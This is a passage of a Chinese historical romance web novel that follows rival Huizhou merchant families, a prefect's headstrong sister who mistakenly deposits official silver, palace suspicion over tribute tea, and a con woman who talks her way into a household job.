“朝廷供奉啊!”陈千朗对着前厅的牌匾仰天长啸,“怎么就不能来一个靠谱的人!” “爹,我看您这是心病!得治!” “越来越没大没小!”张千朗收起思绪,“你怎么还在这呢?” “正要去呢。” “我可告诉你,这票号你要是亏了,休想我给你补!” 张明阳无可奈何,“爹,票号里都是钱,我还能亏呀!” “哼,等你亏了,别来找我哭就成,赶紧去吧你!” 此时的周启正组织人手清点府库,周娉婷无所事事,独自一人在大街上闲逛。 娉婷自小长在宫廷,宫殿板正严肃,透露着皇家的威仪,夏天到园子里去避暑,总听大人们说是参照了上百所江南的院子建成的,如今自己置身江南,城中的河,岸边的白墙黑瓦,绿树盈盈都让娉婷觉得甚好,心情正愉悦,远远看见一张这辈子也忘不了的脸。 “真是冤家路窄!”娉婷紧走两步穿过人群,挡住了陈明阳的去路,“站住!那个老骗子呢?” 陈明阳被突如其来的娉婷吓了一跳,“呦,如今土匪都进城来了?” “你说谁土匪!我问你,那个老骗子呢!” “什么老骗子,不知道。”陈明阳抬腿就走。娉婷哪里肯依,“你给我站住!”她一把拉住陈明阳的胳膊,陈明阳自幼学武,反手就制住了娉婷。 “你给我放手,你知道我是谁吗!” “你不就是一个女土匪吗?我告诉你今天我还有事,懒的和你计较,再纠缠不休,休怪我拉你去见官。”陈明阳松开娉婷,继续走路。 娉婷气鼓鼓地活动胳膊,心想见官可不好,但是气也不能白受了啊!便远远跟上陈明阳看他去哪。 两人沿着大路来到陈记钱庄,娉婷还是第一次看见钱庄,回身看见对面也是钱庄,写着钱记。娉婷见陈明阳和伙计说了几句话一挑帘子往后院去了,便大大方方走进来。 “这位小姐,您里边请。”伙计热情招待,“请问小姐存钱还是兑银子啊?” “啊,那个,你是这里伙计啊?” “正是,小的伺候您。”伙计点头哈腰极为热情。 “那个,刚刚进去那人是谁呀?”娉婷一指帘子。 “呦,那是我们少东家,怎么小姐找我们少东家谈事?” “哦,谈事在后边是吧?”娉婷已经开始往后走。 “敢问小姐可与少东家约好了?”伙计一听来谈事,更加热情,但是拦住了娉婷的去路。 “嗯,没约好,我这不是看见他了嘛。” “那请小姐先坐一会儿,小的去回禀一声。”伙计将娉婷让到边上的椅子上坐好,自己往后院走去,又有伙计端上茶来。 陈明阳也是第一次管理票号,在后边由徐掌柜带着看账本,小伙计进来说有客来访,陈明阳问清后,知道就是刚才那个“女土匪”,不知道她想干什么,在帘子后边偷偷观察。 娉婷安安静静坐在椅子上,正看钱庄的摆设,端起来喝茶的样子又不像一个土匪的样子。陈明阳一时迷惑,见她不同于那天的蛮横,今天倒是大家闺秀的样子,一双丹凤眼倒也别致。 “大家都别理她,一会儿她就走了。” “得嘞,您放心吧。” 此时,吴怡再次凭着三寸不烂之舌和先天的厚脸皮搭上了去山东的商队。这些年在江湖上飘,心中对于安定的渴望与日俱增,她心想日后与李老四都老老实实在钱家做工,再也不用四海为家,漂泊不定了,心中越来越高兴,居然和商队大哥们天南海北聊起来,而这次吴怡说的都是真话,就是要去山东找上李老四去投奔新生活。 第十章 周娉婷误用官银 - 风吹繁花散落时 - 红酒羊排 周娉婷在陈记钱庄等了一盏茶功夫,早就不耐烦了,见旁边伙计都在忙根本没人理自己,生起气来,“哎,老头!”娉婷来到柜台前,一个五十岁上下的伙计正在给客人称银子,“你家少东家呢?” 伙计不慌不忙,称好了银子交给客人才招呼娉婷,“小姐找少东家啊,敢问小姐与我们少东家约好了没?” “没有!” “那不好意思,我们少东家也不是什么人都能见的。” “嘿,我想见的人都能见着!” “呦,我说这位小姐,您要是我们客人我伺候您,找我们少东家?请小姐在那坐会儿,我给您回禀一声。” 娉婷才不想理这帮狗眼看人低的混蛋,自己往后院走去,“老骗子,给我出来!” 伙计们见娉婷软硬不吃,硬往里闯,都来拦着,“这位小姐,这里是票号,你要是再往里闯,我们可是能把你抓起来去见官的!” “你给我起开!你去把你们少东家叫来,我告诉你们,你们窝蔵罪犯,我才应该抓你们去见官。” 陈明阳在屋里听见动静出来查看,“女土匪,你可看好了,我们票号是正经买卖,官府登记造册的,我们伙计也全是正经百姓,不像你,带着一帮子打手,光天化日之下行凶。” “你出来就好,你把那老骗子交出来!” “我们这没有什么骗子。” “你不交出来,我自己找,找出来了,看我不收拾他!” 陈明阳一个箭步拦着娉婷,“我说这位小姐,你要搜也不是不行。” “少东家。” 陈明阳看了徐掌柜一眼,心中自有打算,“这位小姐,我们这里是票号,你想四处看看也不是不行,你若是我们客人,你想怎么看就怎么看,请问,你可有我们票号的银票啊?”陈明阳见娉婷不言语,又问,“或者今天小姐是来存银子的?” 娉婷本来觉得有点尴尬,一听存银子来了精神,从袖口掏出一锭银子,“喏,我存钱!” 陈明阳看见一明晃晃的大元宝,根本不接,“一百两起。” 娉婷根本没来过票号,哪知道陈明阳正框自己,只能拿着元宝觉得好尴尬,余光看见自己被伙计们包围了,有个人还拿着一根棍子,“你要干什么!”娉婷不自觉往陈明阳身后躲了一下,指着那个伙计。 大家也都齐刷刷看向拿棍子的伙计,“啊?那个,不是,我刚才正在扫地,扫把坏了,我正修呢。” 娉婷松了一口气,发现自己居然把着陈明阳的胳膊,更觉尴尬,松开之后看看众人,发现现在自己势单力薄,实在不是能由着自己胡闹的地方,白了一眼陈明阳,十分傲娇地走了。 知府衙门,周启吩咐人清点库存,所有东西都摆放在院子里,周娉婷一进来,看见几个大元宝就这么肆无忌惮得在院子里堆着,她见大家都在忙,顺手抱起几个再次来到陈记钱庄,“喏,我存钱!”周娉婷将大元宝哐当当放在柜上,刚刚称银子的老伯见她又来了,心中虽然觉得她难缠可笑,可还是打算拿起小秤一堆一堆称重,老伯拿起银子一看元宝底上打着:徽州知府衙门几个字,知道这是官银,看了看元宝又看了看娉婷。 “小姐,这银子您是哪里的?” “我自己的呀,怎么,不够一百两吗?” 老伯在票号工作了半辈子,知道官银不是个人可以拿到的,就算极少数情况,也不可能拿出来这么多。又想起刚刚少东家叫这人女土匪,心想:现在的土匪怎么这么猖狂,抢劫官银还跑到票号来存,这么个小姑娘还一点也不紧张!“好,小姐稍等,我给您去拿银票。”老伯将银子包好,赶紧到后边去找陈明阳和徐掌柜。 周娉婷心急要找老骗子,驾轻就熟来到后院,见一伙计慌慌张张往外走,经过她身边时候面露惧色,心想:这老骗子果然在这里,一帮子人还敢窝藏他!这么想着紧走两步冲进屋里,“老骗子,出来!” 称银子老伯和徐掌柜面面相觑,陈明阳与娉婷对峙起来,“没想到你还真是个女土匪。” 娉婷瞪了一眼陈明阳,“我就知道是你窝藏,赶紧交出来!”娉婷已经不想跟他们废话,开始自己找起来,屋里屋外,又到院子里喊起来。 陈明阳想将娉婷拿下直接扭送去见官,而娉婷曾被他劫持,见他来抓自己吓了一跳,花容失色下使劲咬了陈明阳的手。 “哎哎哎,松口啊!”陈明阳没想到这姑娘还带咬人的,疼得厉害,此时官兵已经包围了院子,钱千朗也赶来了。 官兵大呵一声,“拿下!”娉婷终于松口,转头看见官兵要来抓自己,“哎,别碰我!混蛋,别碰我!你们知道我是谁嘛!”官兵才不管她,已经有两个人抓着娉婷的胳膊准备将她带走,“你们这帮笨蛋!我是周知府的妹妹!” 众人一听一片哗然,大家面面相觑,为首的官兵仔细看了看娉婷,他那天正在城门口维持秩序,大惊,“哎呦,真是大小姐,赶紧松手,赶紧松手。” 陈千朗本来正在看陈明阳的手,一听周知府的妹妹心中疑惑地看着娉婷,那天他离得远没看清,刚刚进来的时候还以为来了一个泼妇,与周知府的气质完全不同。 “我告诉你们,他们,就是他!”娉婷对着官兵训话,指着陈明阳说道,“就是他在城外劫持我,如今又窝藏罪犯,你们现在就把他抓起来!” “大小姐,这是不是误会了?”陈千朗挡在陈明阳与官兵中间,“我们怎么可能包庇罪犯呢?我们可是本本分分做生意,老老实实做人呐。” “你赶紧给我让开,小心我对你不客气!” “你想对谁不客气呀!”大家齐齐看向说话的人,周启脸色阴沉得站在院口。 “知府大人。” 周娉婷气焰全无,“哥,哥,他们欺负我!” 周启瞪了一眼娉婷,吩咐官兵撤回,只留下陈家父子和娉婷在院中,“我问你,官银是你拿的吗?” “什么官银啊?我就从院子里拿了几锭银子,很重要吗?” “你!”周启实在不知说什么好,想想妹妹生在宫廷,平时根本就不需要什么银子,所以不知道官银与普通银子的区别也不足为奇,又当着外人的面不好发作。 “陈老板,少东家,舍妹多有得罪,请见谅” “哦,既然是误会解开了就好,是我们照顾不周,请知府大人见谅。” “是他……”娉婷本想说出李老四的事情,被周启一个眼神吓住不再言语。 周启见陈明阳手上受伤了,表示会严加管教妹妹,还愿意给付医药费,请陈家不要追究。陈家父子自然识趣,这事似乎就这么过去了。 晋中,钱宁终于带着货物到了张家,张家与钱家是世交,三辈人一起做生意,如今一个是晋中首富,一个是徽州首富,关系自然更加非比寻常。 “贤侄,一路辛苦了,快进屋去,你婶子给你做了好吃的呢” 钱宁虽然对小时候来过的记忆早已模糊,见到张老板还是发挥他商人天生自来熟的特质,大家也算相处融洽。 “张伯伯,我父亲让我来跟您致歉,因为官府管制,我们路上紧赶慢赶还是晚了一天,实在抱歉。” “没事,你们钱家我还是信得过的。”两人进屋,张家全家老小都作陪,这实在是无上荣耀。 “张伯伯,张伯母,您们真是太客气了,这本是我们没有做好,让真是让小侄无地自容啊。” “哈哈哈,你现在长大了,也和你爹一样一本正经起来,那个老狐狸还好吧?” “爹,怎么好这么问呢?”张家的长子张浩提醒道,“钱兄别介意,我爹平时就喜欢开玩笑。” “哈哈哈,伯父,托您的福我爹身体挺好的,临出门前爹还跟我说呢,您肯定还是一副老顽童的样子,果然如此呀!” 大家笑起来,好像很久没见面的老朋友一样。晋中张家虽然不是朝廷供奉,但是流通货物却是一把好手,通过几代人的艰苦奋斗也成为了晋中首富,与徽州首富钱家相互交通,一家供货一家流通携手走到今天。张家大公子张浩也是独当一面的少东家了,妹妹张灵的经营头脑也是一流,晋中商户中都说若是谁娶了张灵,不仅能得到丰厚的嫁妆,张家在商场的支持,张灵精明的经商头脑才是最有价值的嫁妆。 生意的事情忙完了,张浩兄妹就带着钱宁在晋中游玩起来,钱万全的想法是希望钱宁在晋中跟着张家父子学习学习,而张家则希望张灵有一个好的归宿。 而此时的吴怡终于回到山东,可是翻遍了整个小镇也没有找到李老四,赌坊的人还差点抓住吴怡让她帮李老四还赌债。吴怡一边跑一边心里骂李老四,心想自己真是记吃不记打,怎么还来找他!居然还给他找了个好工作!哼,最好与他永远都不见面,自己也轻松了! 第十一章 李贵妃问罪茶商 - 风吹繁花散落时 - 红酒羊排 李老四听说票号闹起来了,说是找什么老骗子,心中忐忑,又听说教训他的女孩子居然是知府大人的妹妹,生出跑路的心思来,如今他被安排了一个最简单的活儿:浇花。原本想平平静静过完后半辈子,如今看来是不成了,况且吴怡还没有消息,李老四在房间里躲了半天,发现也没人来抓自己又放松下来,逃跑的心思又淡了,至于吴怡,他打算回头托去山东跑生意的伙计帮忙打听着点就行了。 陈家父子从票号回来,在前厅为陈明阳包扎伤口,“瞧瞧,这么大嘴,这得使多大劲!像一个泼妇一样!” “爹,您昨天不还说咱们这知府家里肯定是大户人家?那您今天看他这妹妹怎么样?土匪窝出来的简直!” “爹跟你说啊,越是这样,越能证明爹看得没错,他们绝对是京城大户人家出来的!” “这怎么看出来?那个知府的确气度不错,那个妹妹,我的天!” “这你不懂了吧!咱们南方的女孩子全是水一样的温柔,就好像你钱朵妹妹那样,可是人家北方的女孩子像火一样,越是刁蛮越是大户人家,要不她没有任性的理由啊!” “爹,我觉得您要是把您琢磨人的心思都用在做生意上,咱们陈家,别说徽州首富了,全国首富都当上了!” “我说你被咬傻了吧!咱徽州首富那就是全国首富!要不我为什么争朝廷供奉!我就是要……” “哎呦,爹,您怎么就非得要这朝廷供奉?好像坐了病了!” “嘿,你……”陈千朗正要打陈明阳,陈老太爷从拄着拐杖自己走了出来,“千朗啊。” “爹?”父子俩赶紧起身,陈明阳来扶老太爷,“爷爷,您慢点。” “千朗啊,手怎么了?”陈老太爷一直盯着陈明阳叫千朗,父子俩知道他这是又糊涂了。 “爹,我在这呢,那是您孙子!” “嘿,净蒙我,我儿子有你这么老吗?瞧瞧我儿子,最帅气俊朗了,要不怎么叫千朗呢。”陈老太爷坐在椅子上,一手把着陈明阳不无骄傲地说。 “爷爷,我真是您孙子。” “你也蒙我,怎么了,我是不是快有孙子了?你还没娶媳妇呢,哪有孙子呀,回头呀,爹给你找一个,一定找一个好的,大家闺秀。” “哎呦喂,成了成了,你就假装一下儿子吧!我先走了,你陪陪爷爷。” “嗯,爹慢走。” 陈明阳无奈长了个辈分,听爷爷说那过去的故事。 “千朗啊,你可得好好地人家把货运过去,咱们徽商啊,最讲信誉,也最团结,抱团取暖懂吗?不能吃独食啊!要互相帮衬着,咱们就是互相帮衬着才走到今天的!” “嗯,我知道了,我一定好好干,争取把咱们徽商发扬光大。” “哎,对了,好小子,爹最看好你了,你跟钱万全两个人,打小你们就一起撒尿和泥,去山上玩你们一起走丢了,那个时候啊,我还以为你们两个一起被狼叼走了,谁知过了三天你们自己回来了,瘦的竹竿一样,脏兮兮的,那时候爹就瞧出来了,你们呀必定是咱们徽商的接班人了,如今你们也长大了,更要好好相处,知道吗?” “嗯,我知道,我知道,爷爷。” “什么爷爷,你竟不好好听话!跟刚才那个小子蒙我!” “呵呵呵,爷爷,刚才走那个,就是蒙您那个是谁呀?” “那个小子一看就没你机灵,笨笨的样子。” 陈明阳看了看还在院子里听爷孙俩说话的陈千朗,哈哈哈笑了起来,陈千朗在院子里无奈地摇摇头也笑了起来。 周启带着娉婷回府,狠狠教育了她一番。娉婷站在院子里面壁思过,心中却不服气,心想今天这个什么少东家简直气人,要不是他当时多管闲事自己也不能拿了库银,还被哥哥罚了,站在院子里越想越烦,发誓要找陈明阳报仇。 周启在屋里一言不发,连锁知道他是生气了,不敢言语,心想要是李博大人在就好了,他只知道五皇子的心思,主意也多,如今只有他自己在跟前,六公主又不叫人省心,真不知道要在徽州多久,连锁甚至担心起来,觉得再这么下去,迟早小命休矣。 第二天,连锁见周启有所缓和,一边伺候周启更衣一边建议到,“大人,小姐若是有事做,也就不会胡闹了,您看在宫里,只要小姐和姐妹们玩起来了,她就不惹事了。” “我倒是也想呢,你说她能干点什么呢?” “大人,这不是有句话吗,烟花三月下扬州,如今正是三月,咱们也正是在江南,不如让小姐去哪个游园会玩玩,和商贾家的夫人、小姐们在一起,必不会闹出什么乱子来的。” “人家的游园会也没人邀请她呀,不能她自己就去了吧?本官也不能出面硬要她去啊。” “这个大人放心,小的一定会让他们心甘情愿邀请小姐去。” “你可不能仗着本官知府的身份硬逼着人家啊!” “瞧主子说的,小的哪能啊,小的这两天打听了,他们徽州商贾也经常一起聚会,就是后天,钱家就要组织活动,说是每年都组织,邀请徽州富贵人家的女眷同游,若说富贵,谁能比咱们小姐更贵重呢。” “恩,既是徽州富贵人家都去,娉婷去也没什么,那你去办吧,告诉娉婷,她要是再胡闹,就回京城去。” “是,小的今天就去办。” 此时的宫中也正组织游园活动,江南虽然已经快热起来了,京城却还刚有些春的味道。一年一次的游园也会邀请官员女眷,好不热闹。 “这是刚刚到的明前茶,大家不必拘谨,好好品尝一番吧。” “谢皇后娘娘”宫妃、命妇齐齐端起茶杯品茶,茶水入口,流香四溢,各个觉得神清气爽。 “真是好茶,皇后娘娘,这明前茶最为珍贵,嫔妾觉得……” 李贵妃正要夸赞两句,突然“哎呦”一声,大家齐齐看向她。 “李贵妃,你怎么了?” 李贵妃捂着肚子,脸色十分难看,“皇后娘娘,嫔妾,嫔妾,哎呦,肚子疼。” 大家面面相觑,皇后不知李贵妃搞什么名堂,只好让她先回去,传御医。 游园会结束,皇后去看李贵妃,而皇上已经得到了消息正在榻前陪伴。皇后自然关怀备至,“妹妹,是不是吃坏了肚子啊?” “皇后娘娘,嫔妾就是喝了一口那明前茶,就突然腹痛难忍,扰了皇后娘娘的游园会,嫔妾罪过。” “妹妹不必自责,怎么妹妹只喝了一口茶吗?大家都喝了呀,还是妹妹娇贵,身子弱些。” “皇上,会不会是茶有问题啊?这茶可是要分给东西六宫的,若是有问题,太后娘娘喝了可不得了。” “妹妹多虑了,这茶怎么会有问题呢?这可是朝廷供奉茶,不会是妹妹为了保持身材早起没有吃东西吧?皇上,您是知道的,若是空腹喝茶自然对身体不好,妹妹不必忧虑,好好调养才是。” 第二天,皇后听说很多命妇回去都腹痛难忍,大夫都说是吃坏了东西,心中也怀疑起来,心想若是自己提供的食品不洁造成的,实在是自己这个皇后的过错,又想幸亏李贵妃只是喝了茶就开始腹痛,那就将过错都推给茶好了,毕竟只有这茶是今年新进贡上来的。 皇后向皇帝请罪,而李贵妃居然为皇后开脱起来,皇后不知道李贵妃想搞什么名堂,想着自己这边又没有什么茶叶上的人脉,心想管她搞什么只要不伤害自己就成,居然无意识的促成了皇帝派员去徽州彻查贡茶。 而周娉婷早起高高兴兴来到钱家,昨天她接到邀请,本以为哥哥会因为生气而不让自己出门,谁想他想也没想就答应了,娉婷倒要看看这首富家里是什么样子。 第十二章 周娉婷、陈明阳冤家路窄 - 风吹繁花散落时 - 红酒羊排 徽州钱家说是三进院落,其实后边是一大片园林,成圆形构造,围着中间的半月亭有三条主路,三条主路将院子分割为三块,期间夹杂着各种小路通向各院,保证彼此相互连通又相对封闭,主路上花木丛生,又称花径。 知府家的千金前来,这在商贾中是天大的脸面,钱夫人自然热情招待。 “周小姐,这位是陈夫人,那是李夫人和她的女儿琉璃,那是岳夫人和她的女儿葵儿和娟子,那是马夫人和她的女儿晓丫头,那是……”钱夫人尽显主家风范一个个介绍过来,“这是我的女儿钱朵。” 周娉婷挨个记下并点头示意,宫里也常举办活动,皇家微笑娉婷可是打小就会。 大家落座相互寒暄一番,钱朵带着各府小姐到园子里游玩,大家其实自幼就认识,只是娉婷新来,便都围着娉婷打听京城的事,北方的事让人觉得新鲜,可是娉婷知道的也少,宫里的事又不能说,所以很快大家便散开各自玩耍。 钱朵自然陪着娉婷私下走动,“周姐姐,你哥哥考上了状元,光耀门楣,如今你也是官家小姐了。” 娉婷心想我一个嫡公主当官家小姐有什么好高兴的,脸上却依旧展现皇家微笑,“哥哥自然什么都好,学问好人品也好,对我们姊妹都好。” “周知府少年得志,往后肯定要成为国家栋梁位列朝班,我们商家虽然富有却比不得你们官家,将来史书上也有你们一席之地。” “你们钱家也是一方首富,多少百姓指着你们过活,就是朝廷也给你们三分颜面。” 两人正相互吹捧,一帮子小姐走来邀两人去去诗社作诗,娉婷最不喜欢读书,好不容易推开了,自己一人来到湖边看鱼,远远瞧见一人正在亭子里翘着二郎腿钓鱼。 “我当是谁,大家都是女孩子在这园子里,你一个大男人怎么进来了?” 陈明阳听见娉婷说话,只看了她一眼,也不站起来继续钓鱼,“我当是谁,原来是知府大人家的妹妹,怪不得如此聒噪,吓跑了我的鱼。” “哼,本小姐今天心情好,不与你计较。” 正在这时,鱼儿咬勾了,陈明阳缓缓往上提,娉婷着急起来,使劲拉了一把鱼竿,“快点啊,要跑了!”正说着,鱼儿脱钩而去。 “你看,跑了吧!” “要不是你使劲拽,它怎么跑了!” “就是你慢慢悠悠鱼才跑了,我好心帮你你怎么不领情?” “好心?你要是能躲我远点我才要谢谢你!”陈明阳跨过栏杆去够鱼钩,打算再弄个鱼食继续钓。 娉婷见他就来气,如今鱼脱钩了还怪她更加生气,抬脚踹在陈明阳屁股上,“去死吧你!” 陈明阳原本就是身子前倾在够鱼钩,突然被踹“扑通”一声掉在水里。 娉婷转身就走,又听见水浪之声,“救命,救命,我不会水!”娉婷转身看见陈明阳浮浮沉沉,水就要没过头顶,赶紧下水去救。好不容易将陈明阳拉上来,陈明阳剧烈咳嗽几声,用手推了娉婷一下,“你疯了!” “谁知道你一个南方人不会游泳啊?” “那你们北方人都会套马吗?” “那是草原人才会!” 陈明阳真想骂她几句,又不知道如何骂人,“咱们两个以后最好别见面,见面了也假装不认识好了,我求求你大小姐了。”陈明阳双手抱拳给娉婷作揖。 “嘿,我刚刚把你救上来,你怎么不识好歹?”娉婷站起来居高临下指着陈明阳提醒到。 陈明阳也气鼓鼓站起来,“那又是谁把我推下去的!” 两人浑身湿透,又觉得对方简直不可理喻,各自瞪了对方一眼拂袖而去。 娉婷回府一边沐浴更衣,一边骂陈明阳,周启还在府衙办公没有听见,侍卫门不知道大小姐又发什么脾气,装作听不见不敢言语。 皇后将宫里查了个遍,上报说宫人们没问题,茶叶的问题可能在钱家。很多大臣也纷纷担忧贡茶质量,朝廷便派官员前往徽州调查。钱万全得到消息,赶紧自行检查了茶叶生产运输的各个环节,觉得没问题,便等着京城来人。 “爹,您上次不说钱伯伯把咱们家的茶叶一并交了吗?” “咱们的茶没问题呀!” “可是每年钱记自己的茶都没问题,今年怎么了呢?” 陈千朗心中疑惑,也担心是不是钱家搞鬼,正想着,门外有人求见。 原来张海早就知道了京城的事,进门似笑非笑得看着陈家父子。“陈老板,近来可好啊?” 陈千朗之前还怀疑钱万全,看见张海倒一下子明白了,“托你的福,不太好。” “哈哈哈,陈老板,解决之道就在您手边,只要您同意就成。” “张老板,你做过多少生意?赚过多少钱?或者说,你成功过几次?” “张某不才,既没做过生意,也没赚过钱,但是陈老板,这一次张某会让您成功的。” “哼,是嘛?那你知道钱万全赚过多少钱吗?你知道他接手钱家的时候,他钱家还不是徽州第一,甚至我们徽商也不是晋商的对手。” “怎么?陈老板就一辈子甘居钱万全之后,就甘心您的子孙后代都听钱家吆喝?” “不错,我是想要朝廷供奉,可是你要知道,钱万全不是那么容易倒下的!你也应该明白,一手遮不住天。” “哈哈哈哈,陈老板,我今天才明白你是怎么变成徽州第二的,不是因为钱万全厉害,而是因为你胆小!如果今天你和钱万全的位置对调,你觉得钱家会抓住这次机会吗?” “你就算弄掉了钱家,我陈家也没有那么多货去填朝廷的大胃口。” “晋中的张家自己没有货,靠着流通,他张家在西凉已经接近垄断了,陈老板应该知道啊,要不然你们陈家现在也不会在西凉四处碰壁,要和张家抢市场了。” “朝廷供奉能与普通货物流通一样吗?货要是不好,我有了朝廷供奉就是给自己安了一把悬颈之刀,张老板,你这是在帮我还是在害我啊?” “若是我有货呢?” “什么货?” “钱家的茶园!他们若是倒了,茶园还不是探囊取物吗?” 此话一出,陈家父子都倒吸一口凉气,这个人已经有通天的本事了,宫里已经派员来调查,若是如此发展下去,钱家必定一败涂地,如今的问题是,若是陈家不同意张海的提议,这个张海能放过他们吗? 张海走后,父子俩分析半天,认为张海此次前来还是为了谈合作,绝非要将两家都置于死地。 “爹,我们还是得告诉钱伯伯一声。” “就算告诉了他,他能信吗?就算信了,他能有什么办法?我们商家在官家眼里终究什么都不是!” “那也总好过什么都不知道,什么都没准备,被钦差一查一个准的好呀!爹,虽然现在您和钱伯伯很少来往,但是爷爷说你们以前还是十分要好的呀!况且这次钱伯伯不是带着我们一起争朝廷供奉了吗?” “哎呦,他要是不带着我,我还能多活两年!” “爹!这可是你让钱伯伯带着我们的,如今出事了,也不是钱伯伯能够预料的呀!不行,我得去告诉钱伯伯一声。” “你给我站住!” “爹!” “你让我再想想,这个张海想接手钱家的茶园,如果他不跟我们合作,自己也能去当朝廷供奉,为什么还要和我们合作呢?” “爹?” “我得好好琢磨琢磨。” 当天夜深人静,陈千朗独自一人坐在大厅的阴影处,陈明阳跌手跌脚走进来,“回来了?” “哎呦喂,吓死我了。爹,你坐那干嘛呢?我都没看见您。” “你出去的时候我就坐这呢。” “啊?您知道我出去啊?” “告诉你钱伯伯了?” “恩,爹,我想着要是不告诉一声,实在过意不去。那您坐这想什么呢?” “张海呗。” “你琢磨好了没?” “这个张海啊,你说他为什么先去了钱家才来咱们家?” “陈伯伯没答应,他就来咱家了呗。” “哼,傻儿子!他想弄垮钱家,最好的办法应该是瞒着钱家自己的行踪,直接来找可以接手的人,可是他没有。而且他想接手钱家的茶园,又不自己当朝廷供奉,还非要找我们合作,而且我们明明不看好他,他也没有找别人。” “爹,什么意思?” 陈千朗白了陈明阳一眼,“你爷爷真是老糊涂了,还说你聪明呢!你呀,就是脑子不灵光!我早就说过,这个张海是大尾巴狼,他想弄垮钱家,但是又没有钱接手钱家的生意,所以呢,需要我们陈家接手,他白着两只手想赚干股。” “哦,怪不得呢!爹,您这琢磨人的功夫真是一流啊!佩服佩服!” “切,你刚知道你爹的本事啊?哎,告诉你啊,我还知道他为什么先去了钱家。” “为什么?” “他第一次从钱家出来,来咱们这,他可是带了一个随从,可是今天,他可是一个人来的。” “爹,什么意思?” “哼,你自己想吧,我可要去睡觉去了。”陈千朗站起身往后院走去,留下陈明阳丈二和尚,摸不着头脑。 第十三章 吴怡混进知府衙门 - 风吹繁花散落时 - 红酒羊排 钱宁接到钱万全的书信,立马从张家告辞,而张家也担心满满,派张浩兄妹同往。 此时的吴怡已经在心里骂了李老四八百多遍,想着若去晋中路途遥远,自己到了钱宁也许都走了,可是去徽州又不知道干点什么,琢磨了两个时辰无法决定,摸摸口袋里的铜板一下子就决定好了:去徽州,原因也简单:近,省钱! 吴怡将李老四丢在脑后,一路兴高采烈的往徽州去,兜里的铜板越来越少,而徽州已经近在咫尺了。 周启早起出城去丈量土地,还吩咐连锁发布招人启事,打算招募一些家丁方便生活。 吴怡早起赶路,远远看见徽州城墙,又转眼看见一位大人带着一群衙役在田间走。吴怡紧跑两步躲在树后仔细观察,突然意识到这群人肯定不是来抓自己的,因为自己根本没有没来过徽州,所以也不可能做过什么坏事。吴怡看看周围,幸亏没人看见自己如此可笑,吴怡挠挠脖子,大步向前,直直往衙役那边走去,她想光明正大的从一群衙役旁边走过一定很刺激。 周启原本在看田地,转身见一女子甩着两只手往这边走,心中觉得奇怪。 “你,你不是……” 吴怡原本想找点刺激,看见这位大人,现在真刺激了。“啊,我们见过吗?” “你爹怎么样了?病好了吗?” 吴怡脑子嗡的一声,心想真是不该得瑟,“我,我。”吴怡带着哭腔,“啊,大人啊,真的是您啊!” “你怎么了?” “我爹,我爹他死了!呜呜呜呜,大人啊,我本来想着来还您钱的,可是昨天,昨天有个人把我所有的钱都偷去了,您看!”吴怡将自己空荡荡的荷包和口袋都翻出来给周启看,“啊啊啊,真没想到大人,我这么快就找到您了!我还以为自己就要饿死了,那我怎么还您钱啊!”吴怡抱着周启哭了起来,所有衙役愣愣的看着周启,周启觉得尴尬异常,他平生还是第一次被一个一把鼻涕一把泪的女人抱着。 “你别哭了,你,你先别哭了。你们继续丈量,走,我们先到那边去吧!” “大人,你不知道,我爹已经病入膏肓了,可是他还强撑着一口气跟我说一定要找到您,把钱还您,我可是一路打听,我又不知道恩公的姓名,我走了很多冤枉路啊我,幸亏老天有眼,我终于找到您了,可是天杀的小偷啊,把我所有钱都偷走了!我连饭都吃不上了,幸亏老天有眼,我这么快就找到大人了!” 两人坐在旁边的田埂上,“你还没有吃饭吧?这里他们带了一些干粮,本来打算中午吃的,你先吃点吧。” “啊?大人,这不好吧,我吃了,大人们就没得吃了。”吴怡早晨吃的饱饱的,现在根本不饿,看着大馒头哪能吃得下。 “没事的,我中午少吃点没事的,分你一点,来。”说着周启将一个馒头递给吴怡,吴怡看着大白馒头,哭了出来,“大人,您,您真是大好人呐!”吴怡一边吃一边掉泪,“大人,您要是有事,您先忙去吧!” “哦,没事,你吃吧!给你点水。” “哎,好,真香!” 吴怡好不容易就着水把馒头吃完了,“大人,您真好,要不是您,我都死两次了。” “你以后有什么打算吗?” “我也不知道,不过呢,我听说徽州富得流油,我去看看,没准谁家要帮佣呢。” “哦对呀,我妹妹正要找一个帮佣,如果你愿意的话。” “是嘛?”吴怡心想今天出门真是没看黄历,不仅碰见了官差,还是自己骗过的那个,又被逼着吃了个大馒头,如今很有可能就要去“冤大头”家里做工了,暴露是迟早的事。 “今天连锁好像说,每个月二两银子。” “二两银子!”吴怡一下子站了起来,给周启连鞠两个躬,馒头差点吐出来,“谢谢大人!谢谢大人!我一定好好干!” “那你就去找连锁吧,就在知府衙门,你一打听就能找到,不过连锁应该不认识你的,你拿着这个去找他吧,他认识这个。”周启从腰间摘下一个玉佩。 吴怡拿过玉佩:白中透红的圆形玉佩中间雕着一枝梅花。吴怡心想这玉佩肯定也很值钱。突然又想起什么是的,“知府衙门?大人您是知府大人?” 周启只是展露出标准的皇家微笑,“好了,你去吧!我们还有一些事要做。” “好,大人,晚上见!” 吴怡一路进城,心中纠结起来。二两银子和暴露的危险,怎么选择?吴怡一路打听来到钱府门口,见门庭若市,上前说明来意。 “去去去,什么人都想进去!还认识少东家呢!真是,我还认识天皇老子呢!” 吴怡果然被轰了出去,这时二两银子和无处可去自然占了上风。她又来到知府衙门,见这里也是门庭若市,吴怡一打听才知道大家都是看了帮佣启事才来面试的,吴怡一看这么多人,而自己已经是这里的帮佣了,心情更好了,什么暴露的危险,怎么可能呢?这里是徽州,甚至没人真的认识自己。 “请问,谁是连锁大人啊?”吴怡径直走到队首。 “你是?” “哦,我有一个玉佩,大人说拿着来这里就能当上帮佣。” 连锁接过玉佩,这可是今早自己亲手挂在周启腰间的,又看看吴怡,心想哪里来的野丫头,大人怎么把玉佩给她了?自己怎么不认识这人呢?连锁不过稍作思索,也展现出标准的宫廷笑容,“哦,既是大人吩咐的,那你进来吧。” “好!”吴怡回答的清脆利索,跟着连锁进了知府府。 吴怡第一次堂堂正正走进一座府衙的后院,见这里干干净净的,左边放着兵器架子,“家丁”们在练武,右边正在摆放花盆,一位小姐坐在秋千上荡来荡去。 “来,你过来。” “哦,是。” “小姐,帮佣小的给你找着了。” “见过大小姐!”吴怡赶紧过来鞠躬,“我叫吴怡,以后我一定好好伺候大小姐。” 娉婷停下来,上下打量了吴怡一番,翻着白眼说,“哼,都说徽州城富可敌国,谁知竟没一个顺溜的人。” 